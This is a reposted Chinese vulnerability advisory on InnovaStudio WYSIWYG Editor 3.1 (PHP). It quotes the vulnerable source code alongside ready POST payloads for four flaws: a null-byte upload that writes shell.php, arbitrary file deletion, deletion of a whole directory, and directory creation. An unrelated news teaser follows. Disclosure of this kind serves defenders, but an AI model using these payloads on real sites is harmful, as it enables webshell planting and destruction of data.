InnovaStudio WYSIWYG Editor 3.1 【php版】任意上传文件漏洞

admin 2021年4月3日19:41:27评论112 views字数 2257阅读7分31秒阅读模式

By:Abing

漏洞一 任意上传文件[magic_quotes_gpc=Off]
漏洞文件:assetmanager.php
POST inpCurrFolder2=/var/www/shell.php%00
漏洞代码:第42行
if(isset($_FILES["File1"]))
  {
  if(isset($_POST["inpCurrFolder2"]))$currFolder=$_POST['inpCurrFolder2']; //目录可以构造magic_quotes_gpc=off时可写任意文件
  if(isset($_REQUEST["inpFilter"]))$ffilter=$_REQUEST["inpFilter"];

  if($MaxFileSize && ($_FILES['File1']['size'] > $MaxFileSize))
    {
    $sMsg = "The file exceeds the maximum size allowed.";
    }
  else if(!isTypeAllowed($_FILES['File1']['name']))
    {
    $sMsg = "The File Type is not allowed.";
    }
  else if (move_uploaded_file($_FILES['File1']['tmp_name'], $currFolder."/".basename($_FILES['File1']['name'])))
    {
    $sMsg = "";
    $sUploadedFile=$_FILES['File1']['name'];
    @chmod($currFolder."/".basename($_FILES['File1']['name']), 0644);
    }
  else
    {
    $sMsg = "Upload failed.";
    }
  }
-------------------

2.访问权限未设置导致任意删除文件
漏洞文件:assetmanager.php
[POST] inpFileToDelete=/var/www/index.php
漏洞代码:第72行
if(isset($_POST["inpFileToDelete"]))
  {
  $filename=pathinfo($_POST["inpFileToDelete"]);
  $filename=$filename['basename'];
  if($filename!="")
    unlink($currFolder . "/" . $filename);
  $sMsg = "";
  }
-------------------
3.访问权限未设置导致任意目录删漏洞
漏洞文件:folderdel_.php
[POST]inpCurrFolder=/var/www/upload/
漏洞代码 第3行
if(isset($_POST["inpCurrFolder"]))
  {
  $sDestination = pathinfo($_POST["inpCurrFolder"]);

  //DELETE ALL FILES IF FOLDER NOT EMPTY
    $dir = $_POST["inpCurrFolder"];
    $handle = opendir($dir);
    while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file);
    closedir($handle);

  if(rmdir($_POST["inpCurrFolder"])==0)
    $sMsg = "";
  else
    $sMsg = "";
  }

-------------------
4.访问权限未设置导致任意目录创建
漏洞文件:foldernew.php
[POST] inpCurrFolder=/var/www/&inpNewFolderName=123
漏洞代码:第3行
if(isset($_POST["inpNewFolderName"]))
  {
  $sFolder = $_POST["inpCurrFolder"]."/".$_POST["inpNewFolderName"];

  if(is_dir($sFolder)==1)
    {//folder already exist
    $sMsg = "";
    }
  else
    {
    //if(mkdir($sFolder))
    if(mkdir($sFolder,0755))

InnovaStudio WYSIWYG Editor 3.1-Xday测试.rar:http://www.uudisc.com/user/nuclearatk/file/4135715

文章来源于lcx.cc:InnovaStudio WYSIWYG Editor 3.1 【php版】任意上传文件漏洞

相关推荐: 伦敦骚乱扩至多个城市 首相称采取更多强硬措施

8月8日,从6晚日开始的伦敦骚乱进入第三天,8日下午和晚间不仅在伦敦诸多地区相继发生暴力事件,而且骚乱已经蔓延至英格兰中部城市伯明翰。伦敦市在8日晚间已进入全面警报状态,警方在骚乱地区部署了大量防爆警察。图为伦敦东部发生骚乱的街区部署了大量的防爆警察。 中新社…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:41:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   InnovaStudio WYSIWYG Editor 3.1 【php版】任意上传文件漏洞http://cn-sec.com/archives/324395.html

发表评论

匿名网友 填写信息